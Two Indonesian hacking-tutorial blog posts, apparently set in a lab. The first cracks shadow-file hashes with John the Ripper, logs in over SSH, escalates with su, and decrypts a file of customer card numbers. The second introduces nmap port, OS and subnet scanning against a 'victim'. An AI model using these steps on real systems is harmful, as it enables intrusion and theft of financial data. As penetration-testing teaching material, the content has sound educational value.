Saatnya cracking! Kita sudah mempunyai file shadow dan password library di direktori /root/ Sekarang, lakukan modul ini:

root@bt5r1:~# cd /pentest/passwords/john/
root@bt5r1:/pentest/passwords/john# ./john --rules --wordlist=/root/passwords /root/shadow 
Loaded 4 password hashes with 4 different salts (FreeBSD MD5 [32/32])
Complexity       (root)
Diatomaceous     (ccoffee)
Zymurgy          (bbanter)
guesses: 3  time: 0:00:04:40 4.37% (ETA: Thu Oct 27 16:07:48 2011)  c/s: 6022  trying: Meteorologic
Session aborted

Penjelasan dari modul di atas:
Kita manggunakan software bernama John The Ripper pada direktori /pentest/passwords/john/ dengan aturan library ada di /root/passwords dan target hash string di /root/shadow. Hasilnya, ada 3 password yang ter-crack dalam waktu 0:00:04:40. Yaitu:


Complexity       (root)
Diatomaceous     (ccoffee)
Zymurgy          (bbanter)

Wah, sudah dapat passwordnya? Lantas bagaimana? Itu terserah kalian, tap berikut adalah module apa yang saya kerjakan setelah mendapatkan password-nya:

root@blue-dragon:~# ssh bbanter@192.168.1.110
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@    WARNING: REMOTE HOST IDENTIFICATION HAS CHANGED!     @
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
IT IS POSSIBLE THAT SOMEONE IS DOING SOMETHING NASTY!
Someone could be eavesdropping on you right now (man-in-the-middle attack)!
It is also possible that the RSA host key has just been changed.
The fingerprint for the RSA key sent by the remote host is
4c:46:df:3d:04:f5:05:07:16:ee:76:3e:48:0a:5a:b8.
Please contact your system administrator.
Add correct host key in /root/.ssh/known_hosts to get rid of this message.
Offending key in /root/.ssh/known_hosts:2
RSA host key for 192.168.1.110 has changed and you have requested strict checking.
Host key verification failed.
root@blue-dragon:~# nano /root/.ssh/known_hosts
root@blue-dragon:~# ssh bbanter@192.168.1.110
The authenticity of host '192.168.1.110 (192.168.1.110)' can't be established.
RSA key fingerprint is 4c:46:df:3d:04:f5:05:07:16:ee:76:3e:48:0a:5a:b8.
Are you sure you want to continue connecting (yes/no)? yes
Warning: Permanently added '192.168.1.110' (RSA) to the list of known hosts.
bbanter@192.168.1.110's password: [masukkan sesuai hasil crack]
Linux 2.6.16.
bbanter@slax:~$ ls -a
./  ../  .screenrc
bbanter@slax:~$ cd ..
bbanter@slax:/home$ ls -a
./  ../  aadams/  bbanter/  ccoffee/  ftp/  root/
bbanter@slax:/home$ cd root/
bbanter@slax:/home/root$ ls -a
./  ../  .save/  .screenrc
bbanter@slax:/home/root$ cd .save/
-bash: cd: .save/: Permission denied
bbanter@slax:/home/root$ su
Password: **********
root@slax:/home/root# pwd
/home/root
root@slax:/home/root# cd .save/
root@slax:/home/root/.save# ls -a
.  ..  copy.sh customer_account.csv.enc
root@slax:/home/root/.save# cat copy.sh 
#!/bin/sh
#encrypt files in ftp/incoming
openssl enc -aes-256-cbc -salt -in /home/ftp/incoming/$1 -out /home/root/.save/$1.enc -pass file:/etc/ssl/certs/pw
#remove old file
rm /home/ftp/incoming/$1
root@slax:/home/root/.save# openssl enc -aes-256-cbc -salt -in /home/ftp/incoming/$1 -out /home/root/.save/$1.enc -pass file:/etc/ssl/certs/pw
3838:error:0200B015:system library:fread:Is a directory:bss_file.c:198:
3838:error:20082002:BIO routines:FILE_READ:system lib:bss_file.c:199:
root@slax:/home/root/.save# openssl enc -d -aes-256-cbc -salt -in customer_account.csv.enc -out customer_account.csv -pass file:/etc/ssl/certs/pw
root@slax:/home/root/.save# ls -a
.  ..  .enc  copy.sh  customer_account.csv  customer_account.csv.enc
root@slax:/home/root/.save# cat customer_account.csv
"CustomerID","CustomerName","CCType","AccountNo","ExpDate","DelMethod"
1002,"Mozart Exercise Balls Corp.","VISA","2412225132153211","11/09","SHIP"
1003,"Brahms 4-Hands Pianos","MC","3513151542522415","07/08","SHIP"
1004,"Strauss Blue River Drinks","MC","2514351522413214","02/08","PICKUP"
1005,"Beethoven Hearing-Aid Corp.","VISA","5126391235199246","09/09","SHIP"
1006,"Mendelssohn Wedding Dresses","MC","6147032541326464","01/10","PICKUP"
1007,"Tchaikovsky Nut Importer and Supplies","VISA","4123214145321524","05/08","SHIP"
root@slax:/home/root/.save# 

Apa yang saya kerjakan adalah mencoba masuk ke direktori yang tingkat privilege-nya tinggi, yaitu /root/.save. Setelah masuk ternyata ada file tentang customer, cara mengambilnya adalah dengan menjalankan modul copy.sh dengan sedikit perbaikan syntax.

Sekian tutor dari saya, selamat bersenang-senang (=

By: Blue Dragon
Powered by: Red DragonHate Talk, and g0tmi1k 

15.10.11

[Information Gathering] Network Mapper

Pada postingan sebelumnya, kita telah membahas tahap-tahap melakukan aksi hacking. Diantaranya adalah:

  • Information Gathering
  • Vulnerability Assessment
  • Gaining Access
  • Maintaining Access
  • Wiping Trace

Pada postingan kali ini saya akan membahas lebih dalam tahap pertama, yaitu Information Gathering. Information gathering adalah sebuah tahapan yang diambil oleh seorang hacker maupun penetration tester dalam melakukan penetrasi tes. Dalam tahap ini, hacker dituntut dapat mencari informasi tentang si korban.

Informasi dapat diambil atau didapatkan dari banyak cara, misalnya dengan mencari kelemahan sebuah system, mencari port koneksi yang terbuka dalam suatu network, atau melakukan pencarian lewat Google.

Namun dalam post kali ini, saya akan membahas Information Gathering dengan menggunakan nmap. Nmap adalah sebuah peralatan pencari informasi, lebih khusus mencari informasi port yang terbuka dalam sebuah jaringan. Nmap di disain khusus untuk melakukan ping menuju port-port yang terbuka, dan kembali lagi kepada hacker dengan membawa informasi.

Ilustrasi NMAP

Hacker --[nmap]--> Korban | nmap ----> [port 0-10000] ----> Korban

Hacker mengirimkan nmap kepada korban, kemudian sebelum sampai ke korban, nmap akan melewati serangkaian port yang tertutup maupun terbuka. Port di sini dimaksudkan untuk melakukan koneksi antar user. Berhasil menemukan poer yang terbuka, berarti berhasil sampai ke korban.

nmap ----> port 80 ----> korban | hacker <---- nmap <---- port 80

Nmap berhasil menemukan port 80 untuk sampai ke korban, kemudian ia kembali kepada hacker dengan membawa informasi bahwa port 80 terbuka.
Itu hanyalah sedikit pengenalan cara kerja nmap. Dan sekarang kita masuk ke bagian praktek. Pastikan anda memiliki tools nmap, yang bisa anda download di sini. Kemudian pastikan anda telah terhubung pada internet, atau sebuah jaringan kerja.

Untuk menggunakan nmap, anda bisa masukan perintah: nmap [Type Scan(s)] [Pilihan] {spesifikasi target}

Praktik 1 :

root@red-dragon:/# nmap [ip address target]

Perintah ini adalah perintah standar tanpa type scan. Nmap hanya mencari port yang terbuka.

Output:


Praktik 2 : 

root@red-dragon:/# nmap [ip address target] -O

Perintah ini telah disertai dengan pelacak Operasi Sistem yang digunakan korban. Pada perintah ini, nmap datang membawa informasi yang lebih spesifik kepada hacker.

Output:


Praktik 3 : 

root@red-dragon:/# nmap [ip address target] -p 445

Perintah ini juga disertai dengan filter port. Dalam tugas ini, nmap hanya akan melakukan scanning port 445.

Output:


Praktik 4 :

root@red-dragon:/# nmap [ip address* atau ip address/24]

Pada perintah ini, nmap akan bertugas melakukan scanning host dalam satu lokal area [1 kelas IP].

Output:



Untuk tambahan, nmap tidak dapat melakukan scann jika target mengaktifkan FIREWALL nya. Ini yang akan terjadi jika nmap berhadapan dengan firewall.



Sekian informasi dan tutorial yang dapat saya berikan, semoga bermanfaat. =)

Made by: Red-Dragon
Thanks to: Yoshephine Handini (For Support)
           Blue-Dragon (For Idea)